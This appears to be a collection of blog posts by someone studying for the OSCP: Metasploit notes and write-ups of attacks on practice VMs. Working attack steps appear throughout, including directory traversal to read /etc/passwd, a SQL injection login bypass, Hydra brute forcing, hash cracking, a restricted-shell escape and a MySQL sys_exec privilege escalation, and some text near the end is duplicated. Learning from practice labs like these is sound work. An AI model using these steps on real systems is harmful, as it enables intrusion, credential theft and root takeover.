A good intro to buffer overflow attacks.
A good intro to buffer overflow attacks.
I’ve been working through Metasploit Unleashed in preparation for the PWK course and the ensuing OSCP exam. Looks like I’ll be signing up for that in early July. While you can’t use Metasploit on the OSCP exam, they do teach it in the PWK course itself, and it’s a very powerful tool anyway, so learning it now seemed like a good idea.
I’ve been taking a lot of notes in OneNote as I progress on all things OSCP, but I thought I’d share some of the handier Metasploit tricks that I might find myself using from day to day. Additionally, writing all this out and thinking about it as I do so helps me commit it to memory, so this blog post isn’t an entirely selfless effort.
__ __________________ _____ ____ __ ____ __________ / |/ / ____/_ __/ | / ___// __ \/ / / __ \/ _/_ __/ / /|_/ / __/ / / / /| | \__ \/ /_/ / / / / / // / / / / / / / /___ / / / ___ |___/ / ____/ /___/ /_/ // / / / /_/ /_/_____/ /_/ /_/ |_/____/_/ /_____/\____/___/ /_/
The arp_sweep auxiliary module comes in handy to find hosts on your network. In the below example, you select the arp_sweep tool, show its options, then set the RHOSTS variable accordingly for you your network range.
msf > use auxiliary/scanner/discovery/arp_sweep msf auxiliary(arp_sweep) > show options Module options (auxiliary/scanner/discovery/arp_sweep): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface RHOSTS yes The target address range or CIDR identifier SHOST no Source IP Address SMAC no Source MAC Address THREADS 1 yes The number of concurrent threads TIMEOUT 5 yes The number of seconds to wait for new data msf auxiliary(arp_sweep) > set RHOSTS 192.168.0.1/24 RHOSTS => 192.168.0.1/24 msf auxiliary(arp_sweep) > run
Running the above will return some output that looks something like this:
[*] 192.168.0.163 appears to be up (UNKNOWN). [*] 192.168.0.171 appears to be up (UNKNOWN). [*] 192.168.0.163 appears to be up (UNKNOWN). [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
If you want to be sneaky when you do this (and why would you need to be sneaky on your home network? 😉 ) you can spoof the source host (you) and the source MAC address so that it doesn’t look like you have been scanning anything. Typically, you might set this to appear to be coming from your router.
msf> set SHOST 192.168.0.1 msf> set SMAC (some random MAC addy, or that of your router)
Metasploit lets you scan hosts that you discover.
msf> use auxiliary/scanner/portscan/tcp msf> show options msf> set RHOSTS 192.168.0.178 msf> run
You can set THREADS (10) and CONCURRENCY (20) too, to help speed things up without getting too crazy.
You can even use nmap from within Metasploit, and store the results in the database, or import normal nmap results (saved as xml) into the Metasploit database. The advantage of doing this is that you can save your work and results in workspaces in Metasploit. Workspaces let you create projects and keep things organized, which is useful when working on many targets, or with a team.
I will provide some examples of this soon. Stay tuned. For now, here’s what looks like a great reference for this.
This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.
Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!
netdiscover turned up 192.168.0.196 as the IP for this target VM.
#> nmap -v -sS -A -T4 192.168.0.196 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) | http-methods: |_ Supported Methods: GET 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) |_http-title: 403 Forbidden
On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.
nikto -host 192.168.0.196 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.0.196 + Target Hostname: 192.168.0.196 + Target Port: 80 + Start Time: 2017-02-14 21:01:40 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 + Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version) + PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current. + OpenSSL/0.9.8q a ppears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current. + Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756. + 8345 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2017-02-14 21:02:52 (GMT-5) (72 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Summary of Interesting finds:
Turned up index.html (nothing new) and cgi-bin. Blah.
Tried various wordlists. Nothing turned up with this either.
Nikto did mention this vulnerability, so I took a deeper dive:
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.
Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:
<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>
Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:
The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:
Directory Traversal sounds useful!
Using the exploit at Exploit DB, I found /etc/passwd:
http://192.168.0.196/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd # $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin
I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.
That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.
According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:
I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2
So that worked:
So what was relevant in the httpd.conf file?
I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.
That’s where files are served from in Apache on freebsd, apparently.
This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
Options Indexes FollowSymLinks
Allow from env=Mozilla4_browser
So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.
A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:
Clicking that led me to yet another crappy PHP app!
This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.
This will start a netcat reverse shell by injecting the command via the URL:
Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.
Was there already an exploit in Metasploit?
That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…
That worked pretty well, and I found myself with a command shell.
Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 [email protected]:/usr/obj/usr/src/sys/GENERIC amd64
FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:
So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:
Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.
More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.
So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:
python -m SimpleHTTPServer 80
Then from the reverse shell on the target machine, fetch the file:
Compile that sucker:
Then run it:
And the flag is in /root/congrats.txt
You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!
Moria is a relatively new boot2root VM created by Abatchy, and is considered an “intermediate to hard” level challenge. I wasn’t sure I was up for it since I’ve only been doing this for a few months, but much to my delight I conquered this VM and learned a lot in the process. This experience will certainly help as I prepare for the OSCP certification.
While Abatchy says, “No LOTR knowledge is required ;),” I found that my LOTR knowledge came in quite handy.
Once the VM was downloaded and running in VMWare, I started through various enumeration techniques that I typically go through when starting to penetration test a box. I’ll omit the irrelevant ones in this write-up.
This tool revealed the IP of this machine on my network:
I used nmap -v -sS -A -T4 192.168.0.131
and nmap –sS –sV -O 192.168.0.131
PORT STATE SERVICE
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
MAC Address: 00:0C:29:E8:75:4F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
So HTTP, FTP, and SSH were running. I started by checking out HTTP and visiting http://192.168.0.131 in a web browser. Here’s what I got:
The image of the West Door of Moria is from LOTR. This door was a trick door in the book and movies, and it required some “outside the box” thinking in order to gain entry. I remembered this from the books, and re-familiarized myself with the details via a Google search:
“On 13 January 3019 the Fellowship of the Ring entered Moria through the Doors, but initially Gandalf could not find out the password to open them. Merry Brandybuck unknowingly gave Gandalf the answer by asking, “What does it mean by speak, friend, and enter?” When Gandalf realized that the correct translation was “Say friend and enter” he sprang up, laughed, and said “Mellon”, which means “friend” in Sindarin, and the Doors opened. Shortly thereafter, the Watcher in the Water attacked the Fellowship and shut the Doors behind them.”
Good info that might come in handy later 😉
Running dirb led to the discovery of a directory at http://192.168.0.131/w/. It contained a link to /h/, and so on. Traversing down the links led to:
The page said “Knock knock”
Was this a reference to port knocking? I thought that might be worth checking out later if I could find more info about a sequence.
At this time I was unable to find much more to work with related to the website and HTTP. The usual nikto and other apache/web-related stuff didn’t turn much up. I turned to FTP.
Trying to connect via FTP turned up some interesting info:
220 Welcome Balrog!
Clearly, the Lord of the Rings theme was running deep. I wondered if the password would be “mellon,” since that was what got the LOTR party into the gates of Moria. I couldn’t get that to work, and I wasn’t sure about a username.
Poking around the website some more, I DISCOVERED SOMETHING IMPORTANT!!!
When I browsed to http://192.168.0.131/w/h/i/s/p/e/r/the_abyss/
It gave me something different the next time. I found that a different quote would appear with each page load. I kept refreshing and collected all of the following:
Is this the end?
Dain:”Is that human deaf? Why is it not listening?”
Nain:”Will the human get the message?”
Is this the end?
“We will die here..”
Ori:”Will anyone hear us?”
Nain:”Will the human get the message?”
Telchar to Thrain:”That human is slow, don’t give up yet”
Maeglin:”The Balrog is not around, hurry!”
Balin: “Be quiet, the Balrog will hear you!”
“Eru! Save us!”
A couple of weeks passed at this point, as I went out of town and had other things going on, but it gave me an opportunity to think about Moria and to come back with a fresh perspective.
Tried a bunch of other things, but finally tried doing SSH to the server and was prompted for a login.
Based on the FTP connection saying “Welcome Balrog!” I assumed that Balrog was a username. I also assumed that Mellon was the password knowing what I know about the LOTR story. Lastly, I realized I probably needed to try various capitalizations.
Using the login combo of Balrog / Mellon I got this:
Wrong gate? OK. I went back to try FTP with the Balrog/Mellon auth combo and got in:
Silly me. The username was right there in front of me when I had been trying FTP before. Nothing in the directory I logged into turned up, but I was able to cd .. up to /
I could go many places with basic dir navigation, but much was not allowed. For example, could get into /etc but not look at passwd. I couldn’t find anywhere that I could upload anything, and none of the important system files you’d typically check were allowed to be viewed.
I went to /var/www/html and found a directory that dirb would never have discovered:
Viewing that page in my web browser showed a handy table of what appeared to be hashes:
I set off to see what those passkeys could do. They did’t seem to work as-is for SSH or FTP, so I knew they’d need to be operated on somehow.
hash-identifier said they were likely MD5 hashes:
Without a salt I wasn’t sure how I’d use that information.
I tried various things with Hashcat and John the Ripper, but had no luck. I was stumped for a while until I looked under the hood at the source code of that page at http://192.168.0.131/QlVraKW4fbIkXau9zkAPNGzviT3UKntl/
Note: Looking at the HTML source code is something I always forget to do, and it has bitten me more than once!
At the bottom of the source code I found what appeared to be the salts:
So I had the salts for those MD5 hashes, and I had what looked like the format for using them:
This next part took me a lot of reading and learning, as I’d never really run into this before in my rather limited experience, and I had only a basic knowledge of Hashcat and John the Ripper. While it took some time, it turned out to be a great opportunity to learn.
Ultimately, based on what I had read in various seedy places of the Internet’s underbelly, I created a file called hashes.txt with these contents, based on the HTML chart found above, and added the salts to each line (after the $) respectively:
I still needed to figure out the right format for running through John the Ripper though, so more research was needed. I turned to these places:
http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats – not much help here.
https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC – found the solution here.
Based on the chart on the documentation page for DYNAMIC, the format mentioned in the source code would work with this:
dynamic_6 | md5(md5($p).$s)
I next tried that on the hashes.txt file:
[email protected]:~/moria# john –format=dynamic_6 hashes.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 128/128 AVX 4×3])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
I had a list of passwords for each user. Only one of these worked for logging in via SSH, and that was Ori’s account.
Got a Bash shell with Ori’s login via SSH:
-bash-4.2$ ls -al
drwx—— 3 Ori notBalrog 55 Mar 12 22:57 .
drwxr-x—. 4 root notBalrog 32 Mar 14 00:36 ..
-rw——- 1 Ori notBalrog 1 Mar 14 00:12 .bash_history
-rw-r–r– 1 root root 225 Mar 13 23:53 poem.txt
drwx—— 2 Ori notBalrog 57 Mar 12 22:57 .ssh
Starting in Ori’s home directory, I checked out the .ssh directory to see what might be relevant.
It looked like Ori had logged into localhost before, since it showed up as a known_host. Why would he be doing that unless he needed to log in as someone else? Perhaps as root?
Huh…well that last part was easier than I thought it might be. Thanks to Abatchy for providing this challenge. I learned a lot!
These are some notes I find myself referring back to as I work through my studies for the OSCP exam. As I develop more of these, I’ll continue to post them here on my blog so that others might find them useful.
Use Kali Linux for all the following instructions.
Ensure postgresql is running.
$> /etc/init.d/postgresql start
Set postgres to start on boot so you don’t have to worry about it again:
$> sudo update-rc.d postgresql enable
From the command line, fire up the Metasploit console:
Search for exploits related to what you are interested in:
msf> search smb
Or, be more specific:
msf> search name:smb type:exploit platform:windows
Or, in Kali, use searchsploit (from regular command line, outside of MSF):
$> searchsploit smb
Once you find an exploit you want to use, use it:
msf> use exploit/windows/smb_hack
Then set a payload:
msf> set PAYLOAD windows/shell/reverse_tcp
See what options are set:
msf> show options
Set options as needed:
LHOST is the IP of where the victim host will send info to (your Kali VM, ex.)
msf> set LHOST 192.168.0.x
RHOST is the IP of the victim
msf> set RHOST 192.168.1.x
Default port is 80, but choose one if you wish:
msf> set RPORT 8081
Run the exploit:
If trying to get a remote shell, beware that you may be looking at it if you see what you think is nothing happening. Just try executing a command and see what happens:
ls dir pwd id
Photos by Christiaan008,
In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on vulnhub.com to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.
Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on vulnub.com, and I’ll see if they will add this to Kioptrix 1.3 page soon.
Hopefully, someone will find this useful either way.
It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.
On my local network, this VM turned up with the IP address of 192.168.0.110.
Running an nmap scan revealed some open ports and running services:
[email protected]:~# nmap -v -sS -A -T4 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA) |_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP) Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33
Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at http://192.168.0.110
No basic SQL injection working from any initial attempts.
Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.
Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch + Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6 + PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current. + Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
A basic dirb scan turned up a directory:
I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:
Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.
I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql
(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)
Since ports 139 and 445 were being used, I went on try enum4linux
[email protected]:~# enum4linux -a 192.168.0.110 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 9 00:40:35 2017 (Pasting only the relevant stuff here.) ===================================================== | Enumerating Workgroup/Domain on 192.168.0.110 | ===================================================== [+] Got domain/workgroup name: WORKGROUP ============================================= | Nbtstat Information for 192.168.0.110 | ============================================= Looking up status of 192.168.0.110 KIOPTRIX4 <00> - B <ACTIVE> Workstation Service KIOPTRIX4 <03> - B <ACTIVE> Messenger Service KIOPTRIX4 <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name MAC Address = 00-00-00-00-00-00 ============================== | Users on 192.168.0.110 | ============================== index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null) index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null) index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null) index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null) index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null) user:[nobody] rid:[0x1f5] user:[robert] rid:[0xbbc] user:[root] rid:[0x3e8] user:[john] rid:[0xbba] user:[loneferret] rid:[0xbb8] ========================================== | Share Enumeration on 192.168.0.110 | ========================================== WARNING: The "syslog" option is deprecated Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a] Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu)) Server Comment --------- ------- KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu) Workgroup Master --------- ------- WORKGROUP KIOPTRIX4 [+] Attempting to map shares on 192.168.0.110 //192.168.0.110/print$ Mapping: DENIED, Listing: N/A //192.168.0.110/IPC$ [E] Can't understand response: WARNING: The "syslog" option is deprecated Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a] NT_STATUS_NETWORK_ACCESS_DENIED listing \* ===================================================== | Password Policy Information for 192.168.0.110 | ===================================================== [E] Unexpected error from polenum: Traceback (most recent call last): File "/usr/bin/polenum", line 33, in <module> from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samr ImportError: cannot import name dcerpc_v4 [+] Retieved partial password policy with rpcclient: Password Complexity: Disabled Minimum Password Length: 0 S-1-22-1-1000 Unix User\loneferret (Local User) S-1-22-1-1001 Unix User\john (Local User) S-1-22-1-1002 Unix User\robert (Local User) enum4linux complete on Thu Feb 9 00:40:51 2017
I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.
You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:
hydra -L users -P 10_million_password_list_top_100000.txt -t 4 192.168.0.110 ssh -vv
Nothing turned up! Bummer.
This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.
Immediately, the first thing to note is that there’s a username and password shown in the dump file.
Let’s try it on the HTML login form at http://192.168.0.110/index.php?. No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.
Perhaps it’d work with SSH or SMB?
The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.
After a number of failed attempts and errors by trying various SQL injection strings, using this worked:
Username: john Password: ' OR 1=1 #
That took me to the User Admin Panel and showed the actual password.
That seemed kinda easy. But this is when things got hard, actually.
I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!
Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:
I was warned about trying to cd into the root directory, and getting kicked out if I tried again.
lpath is the same as pwd.
The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile
Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:
Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.
Must break out of the restricted “LigGoat” shell. To the Google!
Searching for “escape restricted shell echo” I found a handy article:
Trying a number of things, I finally found the right trick, which is to use Python to switch shells:
That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed: http://netsec.ws/?p=337
Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.
Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:
That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:
Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:
mysql root pwn server
That led me to a Facebook post, of all things:
It described the situation perfectly:
“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”
The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn’t need to grab it from sqlmap and upload it to the system.
Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.
Where that article has this line:
select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');
Just do this instead:
select sys_exec('chmod u+s /bin/bash');
Then drop out of MySQL and run this:
It should drop you into a root shell!
cd /root cat congrats.txt It described the situation perfectly: "We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often." The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn't need to grab it from sqlmap and upload it to the system. Modifying those instructions a little, there was no need to compile a c script that changes users. Instead of this line: select sys_exec('id > /tmp/out; chown npn.npn /tmp/out'); Just do this: select sys_exec('chmod u+s /bin/bash'); Then drop out of MySQL and run this: Ø bash -p It should drop you into a root shell! cd /root cat congrats.txt